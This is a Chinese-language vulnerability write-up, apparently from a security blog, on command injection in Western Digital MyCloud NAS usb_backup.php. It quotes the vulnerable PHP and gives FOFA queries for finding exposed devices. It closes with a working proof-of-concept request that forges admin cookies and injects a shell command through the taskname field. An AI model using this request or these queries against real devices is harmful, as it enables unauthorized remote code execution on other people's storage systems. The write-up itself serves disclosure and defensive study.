西部数码 NAS usb_backup.php 命令执行漏洞


漏洞简介

Western Digital MyCloud NAS是一款网络附加存储设备,旨在提供集中存储和共享解决方案。它允许用户在家中或办公室通过网络访问文件,支持多种设备的备份和共享。Western Digital MyCloud NAS usb_backup.php中存在命令执行漏洞,攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个web服务器。

影响版本

<=2.11.153(老版本,已发布修复补丁)

fofa语法

icon_hash="-1074357885" && header="X-Powered-By: PHP/5.4.16"

body="_PROJECT_MODEL_ID_YOSEMITE " && body="_PROJECT_MODEL_ID_LIGHTNING "

漏洞分析

直接看 usb_backup.php 其业务实现逻辑如下

<?php
session_start();
$r = new stdClass();
$r->success = false;

include ("../lib/login_checker.php");

/* login_check() return 0: no login, 1: login, admin, 2: login, normal user */
if (login_check() != 1)
{
    echo json_encode($r);
    exit;
}

define('USB_BACKUPS_CONF', '/var/www/xml/usb_backup.xml');

$action = $_POST['action'];
if ($action == "") $action = $_GET['action'];
......
switch ($action)
{
    case "create":
    {
       $taskname = $_POST['taskname'];
       $category = $_POST['category']; //1:USB->NAS,2:NAS->USB
       $source_dir = $_POST['source_dir'];
       $dest_dir = $_POST['dest_dir'];
       $backup_type = $_POST['backup_type'];
       $auto_start = $_POST['auto_start'];

       $cmd = sprintf("usb_backup -a '%s' -m %s -t %s -d %s -A %s -c jobadd",
                   $taskname, $backup_type, $category, escapeshellarg(htmlstr_decode($dest_dir)), $auto_start);

       foreach ($source_dir as $val)
          $cmd .= sprintf(" -s %s", escapeshellarg(htmlstr_decode($val)));

       pclose(popen($cmd, 'r'));
       $pname = sprintf("/tmp/r_usb!_%s", $taskname);
       @unlink($pname);

       stop_job($taskname);

       //Start job
       $cmd = sprintf("usb_backup -a '%s' -c jobrun &", $taskname);
       pclose(popen($cmd, 'r'));
       sleep(2);

       $r = get_list();
       $r->success = true;
       echo json_encode($r);
    }
       break;

    case "modify":
    {
       $taskname = $_POST['taskname'];
       $category = $_POST['category']; //1:USB->NAS,2:NAS->USB
       $source_dir = $_POST['source_dir'];
       $dest_dir = $_POST['dest_dir'];
       $backup_type = $_POST['backup_type'];
       $auto_start = $_POST['auto_start'];
       $old_taskname = $_POST['old_taskname'];

       stop_job($taskname);

       $cmd = sprintf("usb_backup -a '%s' -x '%s' -m %s -t %s -d %s -A %s -c jobedit",
                   $taskname, $old_taskname, $backup_type, $category, escapeshellarg(htmlstr_decode($dest_dir)), $auto_start);

       foreach ($source_dir as $val)
          $cmd .= sprintf(" -s %s", escapeshellarg(htmlstr_decode($val)));

       pclose(popen($cmd, 'r'));

       //Start job
       $cmdS = sprintf("usb_backup -a '%s' -c jobrun &", $taskname);
       pclose(popen($cmdS, 'r'));
       sleep(2);

       $r = get_list();
       $r->cmd = $cmd;
       $r->success = true;
       echo json_encode($r);
    }
       break;

    case "del":
    {
       $taskname = $_POST['taskname'];

       stop_job($taskname);

       $cmd = sprintf("usb_backup -a '%s' -c jobdel", $taskname);
       pclose(popen($cmd, 'r'));

       $pname = sprintf("/tmp/r_%s!_usb", $taskname);
       @unlink($pname);

       $r = get_list();
       $r->success = true;
       echo json_encode($r);
    }
       break;

    case "go_jobs":
    {
       $taskname = $_POST['taskname'];

       $pname = sprintf("/tmp/r_%s!_usb", $taskname);
       @unlink($pname);

       $cmd = sprintf("usb_backup -a '%s' -c jobrun &", $taskname);
       pclose(popen($cmd, 'r'));
       sleep(2);

       $r = get_list();
       $r->success = true;
       echo json_encode($r);
    }
       break;

    case "stop_jobs":
    {
       $taskname = $_POST['taskname'];
       stop_job($taskname);

       $r = get_list();
       $r->success = true;
       echo json_encode($r);
    }
       break;

    case "go_restore":
    {
       $taskname = $_POST['taskname'];
       $restore_source = $_POST['restore_source'];

       stop_job($taskname);

       $pname = sprintf("/tmp/r_%s!_usb", $taskname);
       file_put_contents($pname, "0"); //Cancel

       $list_xml_file = sprintf("/tmp/r_usb!_restore_imcremental_%s.xml", $taskname);
       if ($restore_source == "")//Sync and Copy
          $cmd = sprintf("usb_backup -a '%s' -o '%s' -c jobrs &", $taskname, $list_xml_file);
       else
          $cmd = sprintf("usb_backup -a '%s' -o '%s' -F %s -c jobrs &", $taskname, $list_xml_file, $_POST['restore_source']);
       pclose(popen($cmd, 'r'));
       sleep(2);

       $r = get_list();
       $r->success = true;
       echo json_encode($r);
    }
       break;

    case "get_list":
    {
       $r = get_list();
       $r->success = true;
       echo json_encode($r);
    }
       break;

}

当$_POST['action'] = create时,$taskname = $_POST['taskname']、$_POST['backup_type']、$_POST['category']和$_POST['auto_start']这几个参数均是直接拼接进$cmd中,然后调用popen进行执行,期间对这几个参数没有过滤或校验,导致了命令注入漏洞。尽管此漏洞需要管理员权限才能触发,但可以结合login_check的权限绕过达到 rce的效果。

类似的问题同样存在于del go_jobs go_restore stop_jobs 和 modify 操作中,其中 $backup_type, $category, $auto_start $restore_source $taskname等参数也未被转义。

漏洞复现

需要注意source_dir应为数组形式,否则foreach循环判断会出错

POST /web/backups/usb_backup.php HTTP/1.1
Host: west-nas.mrxn.ent
Cookie: isAdmin=1;username=admin
Content-Type: application/x-www-form-urlencoded

action=create&taskname=' $(pwd>/var/www/t.png) #' &source_dir[]=

成功执行命令并输出结果至测试文件


手机扫码阅读

金和OA AcceptGetFileName.aspx、AcceptGetFileNameAndPath.aspx SQL注入漏洞

金和OA JHsoft.Web.AcceptAip/AcceptShow.aspx SQL注入漏洞

评 论